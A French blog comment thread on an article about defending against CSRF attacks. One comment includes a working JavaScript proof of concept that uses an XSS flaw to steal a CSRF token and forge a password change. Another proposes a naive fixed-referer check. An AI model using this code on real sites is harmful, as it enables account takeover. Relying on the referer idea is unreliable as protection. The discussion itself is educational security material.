Commentaires sur : Se protéger contre les attaques CSRF Injection

Par : El King Zizou

El King Zizou — Fri, 21 May 2010 00:20:59 +0000

trés bonne explication j’aimerai bien voir des autres articles des attaques sur le web :)
alert(‘i’m hacking u ‘); :p

Par : Iss4m

Iss4m — Mon, 14 Sep 2009 04:23:51 +0000

merci bcp Simo :)

Par : Mohammed CHERIFI

Mohammed CHERIFI — Sat, 12 Sep 2009 17:56:57 +0000

@zak, ce n’est pas l’administrateur qui « intègre » le code malveillant dans ses pages, la page X sur le site A(attaquant) contenant le code malveillant est crée par l’attaquant, ce dernier amène l’administrateur du site (B) à la visiter, une fois c’est fait, le code présent sur la page X sera exécuté avec les droits dont ce dernier possède

Par : zak

zak — Wed, 09 Sep 2009 10:14:35 +0000

Bnjr,
d’après ce billet ce genre d’attacks est est inclue dans le code html (entre les balises ) la question qui se pose c’est comment ce code mal veillant arrivera sur la page tant que l’administrateur ou le développeur ne l’a pas intégrer lui même…

Par : Sirius34

Sirius34 — Fri, 21 Aug 2009 16:33:59 +0000

Un petit exemple d’utilisation :

http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html

Enjoy !

Par : Rimka

Rimka — Fri, 07 Aug 2009 22:06:53 +0000

j’ai bien aimé l’explication, merci bcp.

Par : reda

reda — Fri, 07 Aug 2009 14:05:28 +0000

Very nice thing ; Will help lot to avoid attacks

Par : Mohammed CHERIFI

Mohammed CHERIFI — Fri, 07 Aug 2009 13:11:55 +0000

@Updel
Il ne faut pas oublié que toute l’opération se déroule sur la machine du client, et non pas celle de l’attaquant, ça veux dire à la visite de la page de confirmation le tokenid est généré est attribué à une variable de session $_SESSION['tokenid'], ce dérnier est vérifié dans la deuxième page qui check à son tour le referer pour s’assurer que le visiteur provient du même site!

Même si on arrive à modifier le referer on ne pourra pas forgé la requête puisque le tokenid est stocké dans un cookie sur la machine du client

A ma connaissance,Il est possible de contourner les deux protection dans un seul cas: si l’attaquant posséde une faille XSS sur le même site!

voici un proof of concept en javascript pour injecter un code qui permetera de récuperer le tokenid depuis la page de confirmation puis forger une deuxième requête pour modifier le passe:

if(window.XMLHttpRequest)
xhr_object = new XMLHttpRequest();
else if(window.ActiveXObject)
xhr_object = new ActiveXObject(« Microsoft.XMLHTTP » );
// on appelle la page de confirmation
xhr_object.open(« GET », « change_password_confirm.php », false);
xhr_object.send(null);

if(xhr_object.readyState == 4) {
// on récupere le tokenid depuis le champs caché tokenid
if(tokenidparts = xhr_object.responseText.match(/name= »tokenid » value= »([0-9a-f]{32}) »/i)){
dumped_tokenid = tokenidparts[1]
//On forge une dexuieme requête pour modifier le passe du client
postdata = « new_password=pwn3d&new_password_confirm=pwn3d&tokenid= »+dumped_tokenid ;
xhr_object.open(« POST », « /user/change_password.html », false);
xhr_object.send(postdata);
// et voilà le passe est changé ;)
}
};

Donc, comme j’ai dit faut être vigilant et ne pas faire confiance au données récuperé par le client! bien parser toute chaine de caractère avant de l’afficher pour éviter les XSS, pour info le worm « samy » qui a infecté des milliers de page sur myspace été le resultat d’une combinaison d’une XSS avec une CSRF!

Par : Updel

Updel — Fri, 07 Aug 2009 12:07:34 +0000

Si on appelle la page de confirmation on va créer le tockin, donc si on le récupère on peut facilement ajouter un nouveau champ à la form.

Et si on inverser les choses :
Par exemple dans notre page de confirmation on défini un referer genre « JeSuisUnRefererQuiNexistePas.Je.Taime.Simo » et lors de l’opération on vérifi si c’est bien le referer

if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] == ‘JeSuisUnRefererQuiNexistePas.Je.Taime.Simo’) {
// on efféctue le traitement
}
else {
//die(« Vous ne pouvez pas venir ici! »);
}

C’est banal comme solution :D je sais

Par : Updel

Updel — Fri, 07 Aug 2009 11:29:20 +0000

Je me rappelle avoir déjà vécu ça avec le BBcode, seulement je ne connaissais pas le fonctionnement de cet exploit, j’ai longtemps cru que les navigateurs ne pouvaient pas exécuter des codes à partir des balises de types img ou span gracieuse info merci.

La question qui me vient à l’esprit c’est :
Est-ce possible de cassé cette sécurité si on contourne le referer et on explode le tockin, qui sait ??!! un ordinateur sécurisé est un ordinateur éteint